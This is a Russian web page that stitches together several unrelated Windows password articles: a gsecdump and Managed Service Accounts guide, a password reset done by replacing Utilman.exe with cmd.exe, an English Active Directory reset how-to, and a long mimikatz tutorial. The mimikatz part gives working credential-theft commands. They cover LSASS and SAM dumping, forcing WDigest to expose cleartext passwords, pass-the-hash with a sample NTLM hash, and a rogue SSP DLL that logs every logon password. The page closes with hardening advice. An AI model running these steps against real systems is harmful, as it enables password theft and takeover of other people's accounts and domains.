Узнать пароль учетной записи windows server

Трансферное обучение с предобученными моделями в Keras с Python

AI_Generated 06.05.2025

Суть трансферного обучения проста: взять модель, которая уже научилась решать одну задачу, и адаптировать её для решения другой, похожей задачи. Мозг человека работает по схожему принципу. Изучив. . .

Циклические зависимости в C#: методы управления и устранения

stackOverflow 06.05.2025

Если вы хоть раз работали над не самым тривиальным проектом на C#, то наверняка сталкивались с той ситуацией, когда компилятор вдруг начинает сыпать странными ошибками о невозможности разрешить. . .

Как перейти от Waterfall к Agile

EggHead 06.05.2025

Каскадная модель разработки Waterfall — классический пример того, как благие намерения превращаются в организационный кошмар. Изначально созданная для упорядочивания хаоса и внесения предсказуемости. . .

Оптимизация SQL запросов — Продвинутые техники

Codd 06.05.2025

Интересно наблюдать эволюцию подходов к оптимизации. Двадцать лет назад всё сводилось к нескольким простым правилам: «Избегайте SELECT *», «Используйте индексы», «Не джойните слишком много таблиц». . . .

Создание микросервисов с gRPC и Protobuf в C++

bytestream 06.05.2025

Монолитные приложения, которые ещё недавно считались стандартом индустрии, уступают место микросервисной архитектуре — подходу, при котором система разбивается на небольшие автономные сервисы, каждый. . .

Многопоточность и параллелизм в Python: потоки, процессы и гринлеты

py-thonny 06.05.2025

Параллелизм и конкурентность — две стороны многопоточной медали, которые постоянно путают даже бывалые разработчики.

Конкурентность (concurrency) — это когда ваша программа умеет жонглировать. . .

Распределенное обучение с TensorFlow и Python

AI_Generated 05.05.2025

В машинном обучении размер имеет значение. С ростом сложности моделей и объема данных одиночный процессор или даже мощная видеокарта уже не справляются с задачей обучения за разумное время. Когда. . .

CRUD API на C# и GraphQL

stackOverflow 05.05.2025

В бэкенд-разработке постоянно возникают новые технологии, призванные решить актуальные проблемы и упростить жизнь программистам. Одной из таких технологий стал GraphQL — язык запросов для API,. . .

Распознавание голоса и речи на C#

UnmanagedCoder 05.05.2025

Интеграция голосового управления в приложения на C# стала намного доступнее благодаря развитию специализированных библиотек и API. При этом многие разработчики до сих пор считают голосовое управление. . .

Реализация своих итераторов в C++

NullReferenced 05.05.2025

Итераторы в C++ — это абстракция, которая связывает весь экосистему Стандартной Библиотеки Шаблонов (STL) в единое целое, позволяя алгоритмам работать с разнородными структурами данных без знания их. . .

Время на прочтение5 мин

Количество просмотров70K

Есть способ, который позволяет узнать пароль администратора в случае, если какая-либо служба запускается от его имени.
Пароли учетных записей, от которых запускаются службы Windows, хранятся в зашифрованном виде в реестре (LSA Secrets) по пути:

HKEY_LOCAL_MACHINE/Security/Policy/Secrets

Существуют способы, которые позволяют извлечь пароли из LSA Secrets:

  • Скопировать путь реестра во временный путь, а затем расшифровать зашифрованные пароли
  • Использовать теневые копии
  • Использовать специальные утилиты для работы с процессом lsass.exe

Попробуем получить пароль от учетной записи под которой запускается служба SQL Server.
Имеется:
Контроллер домена на Windows Server 2012 R2
SQL Server Express 2012
При установке SQL Server, для запуска службы, специально укажем существующую доменную учётную запись (пароль меньше 14 символов).

Piccy.info - Free Image Hosting

Воспользуемся утилитой gsecdump для извлечения паролей.
Запустим PowerShell от имени администратора и выполним команду: gsecdump-v2b5.exe -l
Результат:

Piccy.info - Free Image Hosting

Чтобы защититься от такого рода атак в Windows Server 2008 R2 был придуман механизм Managed Service Accounts.
Managed Service Accounts являются управляемыми учетными записями в домене, которые обеспечивают автоматическое управление паролями и упрощенное управление именами служб-участников, включая делегирование управления другим администраторам.
Преимущества управляемых учетных записей служб:

  • Автоматическая смена паролей. По умолчанию смена пароля – раз в 30 дней
  • Сложный пароль. Используется комплексный автоматически генерируемый пароль из 240 символов в случайном порядке (первая половина — буквы английского алфавита, вторая половина — цифры и другие символы)
  • Отсутствие избыточных прав
  • Возможность использования одного MSA на нескольких серверах (gMSA). В случае, когда требуется, чтобы все экземпляры служб использовали один и тот же субъект, например для использования в службе NLB
  • Управление SPN

Автоматическое обновление SPN при переименовании
— учетной записи сервера
— свойства dnshostname учетной записи сервера
— изменении свойства addition¬aldnshostname учетной записи сервера
— изменении свойства additionalsam¬accountname учетной записи сервера

Сервисы и службы, которые поддерживают MSA:

  • IIS
  • AD LDS
  • SQL Server 2008 R2 SP1, 2012
  • MS Exchange 2010, 2013

Требования MSA:

  • Уровень домена и леса – Windows Server 2008 R2
  • Windows Server 2008 R2, Windows 7 (Professional, Enterprise, Ultimate)
  • .Net Framework 3.5x
  • Модуль администрирования Active Directory для PowerShell
  • Установленный патч 2494158

Если лес и домен не имеют уровень 2008 R2 (MSA) и 2012 (gMSA) нужно поднять уровень леса командой:
adprep /forestprep
И уровень домена, командой:
adprep /domainprep в каждом домене, в котором необходимо создать и использовать управляемые учетные записи службы.

Включение MSA в PowerShell
1) Выполнить командлет: Import-Module ActiveDirectory
2) Чтобы создать учётную запись MSA нужно выполнить командлет:
New-ADServiceAccount serviceaccount –RestrictToSingleComputer
где serviceaccount – имя учетной записи MSA
RestrictToSingleComputer – параметр означает, что MSA будет привязан только к одному серверу.
Можно зайти в Active Directory Users and Computers и убедиться, что MSA был создан (чтобы появился раздел Managed Service Accounts, нужно включить в оснастке View — Advanced Features).

Piccy.info - Free Image Hosting

3) Чтобы привязать MSA к серверу нужно выполнить командлет:
Add-ADComputerServiceAccount -Identity server -ServiceAccount serviceaccount
где server – имя сервера, который будет соотнесён с MSA
serviceaccount – имя учетной записи MSA
Чтобы проверить, что операция выполнена успешно, нужно зайти в оснастку Active Directory Users and Computers, перейти в свойства сервера и посмотреть атрибут msDS-HostServiceAccount

4) Установка управляемой учетной записи службы на локальном компьютере
Нужно выполнить командлет:
Install-ADServiceAccount -Identity serviceaccount
где serviceaccount – имя учетной записи MSA
5) Тестирование MSA (Windows 8.1, Windows PowerShell 4.0, Windows Server 2012 R2)
Нужно выполнить командлет:
Test-ADServiceAccount serviceaccount
где serviceaccount – имя учетной записи MSA
Вернёт значение True или False
6) Установить для службы Windows запуск от имени MSA и перезапустить службу.
В конце имени MSA не забудьте указать знак $
Поле пароль нужно оставить пустым.

Piccy.info - Free Image Hosting

Проверим с помощью утилиты gsecdump пароль для учётной записи службы

Piccy.info - Free Image Hosting

В Windows Server 2012 появились Групповые управляемые учетные записи служб (Group Managed Service Accounts).
Они позволяют привязывать управляемую учетную запись не к одному серверу, а к нескольким.
Это может потребоваться, например, для использования в службе балансировки сетевой нагрузки.

Требования:

  • Уровень схемы – Windows Server 2012
  • Контроллер домена Windows Server 2012 (R2) на котором запущена служба Microsoft Key Distribution Service
  • Windows Server 2012, 2012 R2, 8, 8.1
  • Модуль администрирования Active Directory для PowerShell

Включение gMSA в PowerShell
1) Проверить, что включена служба Microsoft Key Distribution Services
“Служба распространения ключей использует общий секрет для создания ключей учетной записи. Эти ключи периодически изменяются. В дополнение к прочим атрибутам групповых управляемых учетных записей служб контроллер домена Windows Server 2012 вычисляет пароль для ключа, предоставленного службами распространения ключей. Обратившись к контроллеру домена Windows Server 2012, узлы Windows Server 2012 и Windows 8 могут получить текущий и предыдущий пароль.”
2) Создать Root Key
За создание Root Key отвечает командлет:
Add-KdsRootKey
Чтобы создать новый Root Key нужно выполнить командлет:
Add-KdsRootKey –EffectiveImmediately
В таком случае ключ будет доступен через 10 часов, пока не среплицируется.
Можно выполнить командлет:
Add-KdsRootKey –EffectiveTime ((get-date).addhours(-10))
В таком случае, ключ будет доступен сразу (-10 часов начала работы)
3) Создать gMSA
Выполнить командлет:
New-ADServiceAccount serviceaccount -DNSHostName test.test.com –PrincipalsAllowedToRetrieveManagedPassword $test
где serviceaccount – имя учетной записи gMSA
test.test.com – имя сервера, на котором был создан Root Key
$test – имя сервера, который может обращаться к KDS для получения информации

Можно зайти в Active Directory Users and Computers и убедиться, что gMSA был создан (чтобы появился раздел Managed Service Accounts, нужно включить в оснастке View — Advanced Features).

Piccy.info - Free Image Hosting

4) Установка управляемой учетной записи службы на локальном компьютере
Нужно выполнить командлет:
Install-ADServiceAccount -Identity serviceaccount
где serviceaccount – имя учетной записи gMSA
5) Тестирование MSA (Windows 8.1, Windows PowerShell 4.0, Windows Server 2012 R2)
Нужно выполнить командлет:
Test-ADServiceAccount serviceaccount
где serviceaccount – имя учетной записи MSA
Вернёт значение True или False
6) Установить для службы Windows запуск от имени gMSA и перезапустить службу.
В конце имени gMSA не забудьте указать знак $
Поле пароль нужно оставить пустым.

Piccy.info - Free Image Hosting

Проверим с помощью утилиты gsecdump пароль для учётной записи службы

Piccy.info - Free Image Hosting

Удалить MSA/gMSA можно с помощью командлета Uninstall-ADServiceAccount

Задавать параметры MSA/gMSA можно с помощью командлета Set-ADServiceAccount
Задание периода смены пароля:
Set-ADServiceAccount serviceaccount -ManagedPasswordIntervalInDays 60
где serviceaccount – имя учетной записи gMSA
60 – период, через который сменится пароль
Задание криптоалгоритмов Kerberos для использования MSA
Варианты: RC4, AES128, AES256
Set-ADServiceAccount serviceaccount -KerberosEncryptionType RC4, AES128, AES256
Задание SPN
Set-ADServiceAccount serviceaccount -ServicePrincipalNames @{Add=«добавляемый SPN»}

Задание NetBIOS имени для сервиса (SAMAccountName)
Если не задано, используется идентификатор Name
Если задано, имя отображения в AD будет из Name, а идентификатор для логина из SAMAccountName
Set-ADServiceAccount serviceaccount –SamAccountName test

MSA – это ещё один способ, который позволяет повысить безопасность.

Восстановление доступа к системе может стать актуальной задачей для администраторов и пользователей Windows Server 2022, 2019 и 2016, а также других версий Windows. Если вы столкнулись с необходимостью сброса забытого пароля, этот процесс можно выполнить с помощью загрузочного образа операционной системы. В зависимости от того, работаете ли вы с физическим сервером или виртуальной машиной, вам потребуется записанный на USB-флешку образ системы или его ISO-версия соответственно. Ниже приведены шаги, которые помогут вам сбросить пароль и восстановить доступ к системе:

  1. Подготовка и подключение образа: Подключите загрузочный образ операционной системы к физическому серверу или виртуальной машине (ВМ). Это может быть образ на USB-флешке или ISO-файл.
  2. Загрузка с образа: Перезагрузите сервер или ВМ и настройте его на загрузку с подключенного образа операционной системы, аналогично процессу установки новой ОС.
  3. Доступ к командной строке: Сразу после начала загрузки системы с образа нажмите сочетание клавиш Shift + F10, чтобы открыть командную строку. Если доступ к командной строке не получен через Shift + F10, следуйте дальнейшим инструкциям: выберите опцию «Далее», затем «Восстановление системы», перейдите к разделу «Поиск и устранение неисправностей» и выберите «Командная строка».

После того как вы получили доступ к командной строке, следующим шагом будет попытка перейти на диск, обычно используемый под системный раздел, то есть на диск «C». Введите команду C:. Если система выдает сообщение об ошибке, указывая, что диск не найден, необходимо назначить этому разделу букву диска. Используйте для этого утилиту diskpart, следуя приведенным ниже инструкциям:

  1. Введите команду diskpart для запуска утилиты.
  2. Введите lis dis, чтобы отобразить список всех доступных дисков. Обычно системный диск обозначается как диск 0, но вам следует проверить, что это действительно тот диск, на котором установлена операционная система.
  3. Выберите диск с помощью команды sel dis 0, где 0 — номер диска с установленной ОС.
  4. Чтобы увидеть разделы на выбранном диске, используйте lis par. Это поможет определить номер системного раздела.
  5. Выберите нужный раздел, введя sel par X, где X — номер соответствующего раздела. Например, если системный раздел — это раздел 3, используйте sel par 3.
  6. Назначьте букву разделу командой assign letter=C, чтобы раздел стал доступен под буквой C.
  7. Проверьте, что буква успешно назначена, с помощью lis vol. Раздел должен отображаться с новой буквой диска.
  8. Завершите работу с diskpart, введя exit.

В командной строке это выглядит так:

После успешного доступа к нужному разделу и назначения ему буквы, перейдите к следующим шагам для подготовки к сбросу пароля:

  1. Изменение файла вспомогательной утилиты:

a) Сначала переименуйте существующий файл утилиты вспомогательной доступности, чтобы сохранить его для последующего восстановления. Введите следующую команду:

move C:\Windows\System32\Utilman.exe C:\Windows\System32\Utilman.exe.bak

Это переименует файл Utilman.exe в Utilman.exe.bak. Этот шаг необходим для того, чтобы вы могли восстановить оригинальный файл после сброса пароля.

b) Затем создайте копию файла командной строки (cmd.exe) с именем Utilman.exe, чтобы получить прямой доступ к командной строке с экрана входа в систему. Используйте команду:

copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe

Это позволит запустить командную строку перед входом в систему, используя иконку вспомогательных технологий на экране блокировки.

В командной строке выглядит так:

После внесения необходимых изменений через командную строку в среде установочного образа Windows, следуйте этим шагам для безопасной перезагрузки вашего сервера:

  1. Закрытие командной строки:
    • Закройте командную строку, нажав на крестик в углу окна или введя команду exit.
  2. Выход из установщика Windows:
    • После закрытия командной строки, если вы находитесь в установщике Windows или в среде восстановления, закройте все открытые окна, нажимая на крестики или выбирая опцию «Отмена» при появлении запросов о продолжении установки. Система может предложить вам опции действий перед закрытием, включая возможность перезагрузки.
    • Если представляется возможность выбора, используйте опцию «Выключить компьютер». Это самый безопасный способ завершить работу с установочным образом и гарантировать, что изменения, внесенные в систему, не приведут к нежелательным последствиям.
  3. Перезагрузка сервера:
    • После выключения сервера включите его снова, используя физическую кнопку питания. Это обеспечит его загрузку с системного диска в обычном режиме.
    • Убедитесь, что установочный носитель (например, USB-флешка или диск) удален или не выбран в качестве приоритетного устройства загрузки в настройках BIOS или UEFI, чтобы сервер загрузился с жесткого диска.
  4. Доступ к командной строке через экран блокировки:
    • После перезагрузки и загрузки операционной системы обратите внимание на экран входа. На этом этапе, вместо стандартного ввода пароля, нажмите на иконку «Специальные возможности», которая теперь должна активировать командную строку. В зависимости от скорости вашей системы, возможно, потребуется подождать несколько минут, пока командная строка не станет доступной.

  5. Сброс пароля пользователя:

    • В открытой командной строке введите net user, чтобы увидеть список учетных записей пользователей на вашем компьютере. Это поможет вам определить точное имя учетной записи, для которой вы хотите сбросить пароль.
    • Затем используйте команду net user имя_пользователя новый_пароль, заменив имя_пользователя на имя учетной записи, для которой вы сбрасываете пароль, и новый_пароль на пароль, который вы хотите установить. Например, если имя пользователя «admin» и вы хотите установить новый пароль «password123», введите:

net user admin password123

    • После успешного выполнения команды закройте командную строку, введя exit.

   6. Проверка нового пароля:

  • Теперь попробуйте авторизоваться в системе, используя новый пароль для выбранной учетной записи.

После успешного сброса пароля важно восстановить первоначальное состояние системных файлов, чтобы закрыть доступ к возможности сброса пароля через экран блокировки. Для этого необходимо вернуть файл Utilman.exe на его исходное место:

  1. Повторный доступ к системе через образ:
    • Перезагрузите ваш сервер, используя установочный образ Windows, как вы делали это ранее.
    • Снова откройте командную строку на этапе выбора языка установки, используя сочетание клавиш Shift + F10.
  2. Переход на системный раздел:
    • Если необходимо, используйте diskpart и соответствующие команды, как описано в предыдущих шагах, чтобы обеспечить доступ к диску C.
  3. Восстановление файла Utilman.exe:
    • Введите следующую команду для восстановления оригинального файла вспомогательной утилиты доступности:

move C:\Windows\System32\Utilman.exe.bak C:\Windows\System32\Utilman.exe

Это действие заменит модифицированную версию файла Utilman.exe его оригинальной копией, восстанавливая стандартное поведение системы на экране блокировки.

  4. Завершение работы:

    • После восстановления файла введите exit для выхода из командной строки.
    • Закройте все окна установщика Windows и отмените процесс установки, если система запросит подтверждение. Это должно привести к автоматической перезагрузке системы.

Мы надеемся, что это руководство помогло вам сбросить пароль. В заключение, хотим напомнить, что наша компания предлагает широкий спектр услуг, связанных с серверами. Независимо от того, нужен ли вам новый или б/у сервер, или вы ищете надежное решение для аренды выделенного сервера (Dedicated Server) или виртуального (VPS), мы готовы предложить оптимальные варианты, соответствующие вашим бизнес-потребностям. Свяжитесь с нами Контакты | OLP.kz  для получения дополнительной информации о наших продуктах и услугах.


...

If your network is controlled by a server with Microsoft’s Active Directory, each user will have a username and password to connect to his individual workstation and the server. Active Directory also controls each user’s role in the network, such as the type of user and if he has administrator privileges. If a user has forgotten or misplaced a password, he may be locked out of his network workstation and the server. Though you can’t see the current password in Active Directory, you can reset it. You will need to log into the server using any administrator account in order to reset a user password.

Step 1

Click the «Start» button from the server desktop.

Step 2

Choose «Control Panel» and double-click «Administrative Tools.»

Step 3

Click the «Active Directory» option. A new window will pop up.

Step 4

Click the «Users» option from the console tree. This will open a list of current users on the network in the right pane of the window.

Step 5

Right-click the user name and choose «Reset Password.»

Step 6

Type a new password in the text box, then confirm the password change. You can also place a mark in the box next to the «User must change password at next logon» option. This allows the user to choose his own password the next time he logs into the server or workstation.

Tips & Warnings

  • If you don’t want the password to expire, place a mark next to «Password Never Expires.»
  • You can also mark the option that makes sure the user cannot change his password if you are assigning him one. This can prevent lost passwords in the future.

В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей пользователей Windows с помощью Open Source утилиты Mimikatz.

Программа mimikatz позволяет извлечь из памяти Windows пароли в виде простого текста, хэши паролей, билеты kerberos из памяти и т.д. Также mimikatz позволяет выполнить атаки pass-the-hash, pass-the-ticket или генерировать Golden тикеты. Функционал mimikatz доступен также через Metasploit Framework.

Скачать утилиту mimikatz можно c GitHub: https://github.com/gentilkiwi/mimikatz/releases/. Распакуйте архив mimikatz_trunk.zip в каталог C:\Tools\mimikatz. В этом каталоге появятся две версии mimikatz – для x64 и x86. Используйте версию для своей битности Windows.

В этой статье мы покажем, как получить пароли пользователей в Windows Server 2016 или Windows с помощью mimikatz.

Дисклаймер. Информация и технологии, описанные в данной статье, стоит использовать только в информационно-ознакомительных целях, и ни в коем случае не применять для получения доступа к учетным записям, информации и системам третьих лиц.

Содержание:

  • Извлекаем хэши паролей пользователей из памяти Windows
  • Получение хешей паролей пользователей из дампа памяти Windows
  • Получение паролей пользователей из файлов виртуальных машины и файлов гибернации
  • Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?
  • Извлекаем пароли локальных пользователей Windows из SAM
  • Использование Mimikatz в pass-the-hash атаках
  • Просмотр сохраненных паролей в Windows
  • Дампим пароли при входе в Windows
  • Как защитить Windows от извлечения паролей из памяти?

Извлекаем хэши паролей пользователей из памяти Windows

Попробуем извлечь хэши паролей всех залогиненых пользователей из памяти Windows (процесса lsass.exe — Local Security Authority Subsystem Service) на RDS сервере с Windows Server 2016.

  1. Запустите Mimikatz.exe с правами администратора;
  2. В контексте утилиты выполните команды:
    mimikatz # privilege::debug

    Данная команда предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege).
  3. mimikatz # sekurlsa::logonPasswords full

    Данная команда вернет довольно большой список. Найдите в нем учетные записи пользователей.
  4. В моем случае на сервере кроме моей учетной записи есть активные сессии двух пользователей: anovach и administrator.
  5. Скопируйте их NTLM хэши (выделено на скриншоте). В моем случае получились такие данные:
    anovach (NTLM: 79acff649b7a3076b1cb6a50b8758ca8)
    Administrator (NTLM: e19ccf75ee54e06b06a5907af13cef42)

получение NTLM хэша пароля пользователя Windows из LSASS

Можно использовать mimikatz не в интерактивном, а в командном режиме. Чтобы автоматически получить хэши паролей пользователей и экспортировать в текстовый файл, выполните команды:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tools\mimikatz\output.txt

Теперь можно воспользоваться любым офлайн (есть утилита hashcat в Kali Linux) или онлайн сервисом по расшифровке NTLM хэшей. Я воспользуюсь сервисом https://crackstation.net/

Как вы видите, сервис быстро нашел значения для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них это администратор домена….).

расшифровка ntlm хэшей

Как вы видите, благодаря mimikatz мы получили NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.

Примечание. В июне 2017 года многие крупные компании России, Украины и других стран были заражены вирусом-шифровальщиком not-petya, которые для сбора паролей пользователей и администраторов домена использовал в том числе интегрированный модуль mimikatz.

Получение хешей паролей пользователей из дампа памяти Windows

Рассмотренная выше методика получения хэшей пароля не сработает, если на сервере установлен антивирус, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.

Создать дамп памяти процесса в Windows довольно просто. Запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.

дамп процесса lsass.exe

Windows сохраните дам памяти в указанную папку.

Вам осталось только разобрать дамп с помощью mimikatz (можно на другом компьютере). Загрузите дамп памяти в mimikatz:

Mimikatz “sekurlsa::minidump C:\Users\anovach\AppData\Local\Temp\lsass.DMP”

Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа памяти:

# sekurlsa::logonPasswords

получение ntlm хэшей из дампа памяти

Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.

Также для получения дампа можно использовать утилиту procdump от Sysinterals.

procdump -ma lsass.exe lsass.dmp

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

.load mimilib.dll

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

Поиск в дампе памяти процесса lsass

И наконец, выполните:

.process /r /p fffffa800e0b3b30
!mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Получаем пароль пользователя Windows

Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?

В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – для корректной работы он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.

Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

UseLogonCredential отключаем в реестре

Обновите GPO:

gpupdate /force

включить wdigest в windows через UseLogonCredential

Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:

privilege::debug
sekurlsa::wdigest

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

получение пароля пользователя в открытом виде

Извлекаем пароли локальных пользователей Windows из SAM

С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из SAM так:

privilege::debug
token::elevate
lsadump::sam

Также можно извлечь NTLM хэши SAM из реестра.

  1. Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы:
    reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv

    экспорт реестра

  2. Затем с помощью Mimikatz извлеките хэши паролей:
    privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

извлечение ntlm хэшей из реестра

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

использование mimikatz для запуска команд по известному хэшу

Также для использования NTLM хэша для выполнения команд на удаленных компьютерах можно использовать утилиту Invoke-TheHash. Позволяет также

Просмотр сохраненных паролей в Windows

В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:

privilege::debug
sekurlsa::credman

Как вы видите, сохраненый пароль показан в секции credman.

получаем сохраненные пароли Windows

Дампим пароли при входе в Windows

Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительно SSP провайдера (Security Support Provider).

  1. Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:\Windows\System32\.
  2. Зарегистрируйте дополнительного провайдер командой:
    reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

    поддельный ssp провайдер mimilib.dll

  3. При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
    Get-Content C:\Windows\System32\kiwissp.log

пароли всех пользователей зписываются при входе в Windows в тектовый файл

Как защитить Windows от извлечения паролей из памяти?

В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest установить параметр DWORD реестра UseLogonCredential равным 0).

Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.

mimikatz creds_wdigest не работает в Windows 8.1 / 2012 R2 и выше

Выше мы показывали, как при наличии прав администратора можно легко установить этот ключ в уязвимое значение. После этого вы опять сможете получить доступ к паролям в памяти LSA.

В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:

  • Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption);
  • Отключите Wdiget;
  • Отключить NTLM
  • Запретить использование сохранённых паролей в Credential Manager
  • Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
  • Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администраторов в специальную группу Protected Users ote. В этом случае NTLM хэши для таких пользователей создаваться не будут.
  • Включите защиту LSA процесса (данный параметр разрешит доступ к LSASS памяти только процессам, подписанным Microsoft):
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
    . Можно распространить этот параметр реестра на компьютеры через GPO.
  • Используйте Credential Guard для защиты содержимого LSA процесса;
  • Запретите получение debug полномочий даже для администраторов (GPO: Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs). Впрочем, это легко обходится при наличии прав SYSTEM или так.

Выводы. Еще раз напоминаем прописные истины:

  • Не стоит использовать одинаковые пароли для разных сервисов (особенно RDP/RDS хостов, находящихся во владении третьих лиц);
  • Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины;
  • Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора (см. гайд об организации защиты учетных записей администраторов в среде Windows);
  • Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям.

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Windows 10 pro 21h1 оригинальный образ
  • Приложение ножницы для windows 10 что это
  • Последняя нокиа на windows
  • Зеленый курсор для windows 10
  • Microsoft net framework все пакеты для windows 10 x32